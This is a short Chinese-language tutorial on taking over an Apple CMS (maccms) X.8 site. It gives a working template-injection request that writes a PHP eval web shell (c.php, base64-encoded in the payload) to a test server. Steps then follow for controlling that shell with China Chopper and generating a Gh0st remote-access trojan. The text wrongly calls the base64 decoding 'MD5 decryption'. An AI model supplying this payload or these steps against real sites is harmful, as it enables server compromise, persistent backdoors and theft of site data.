如何获取苹果CMS X.8版本管理员权限？

本文共计366个文字，预计阅读时间需要2分钟。

Hackbar工具火狐插件中国菜刀gh0st苹果CMS历史漏洞分析

用到的工具火狐插件hackbar中国菜刀gh0st苹果cms历史漏洞blog.csdn.net/m0_37438418/article/details/81006161

操作步骤

下载火狐插件 hackbar 在苹果 cms 的主页搜索界面临时搭的站 192.168.0.137/

2.按下 F12 点 HackBar 选择 Post data 填写如下内容点击 Execute 按钮

·192.168.0.137/index.PHP?mvod-search·wd{if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x MD5解密1 就是创建 c.php 传入参数 c

3.打开中国菜刀右键 -> 添加 。输入以下内容 4. 找到 config.php 文件打开 5.打开 Gh0st 。选项 -> 创建客户 输入以下信息后测试连接 在这里需要查找合适的端口尽量选择数字大的端口查看此端口是否被占用如果被占用则结束占用此端口的进程

如果测试连接成功点击 “生成” 按钮 将木马文件保存。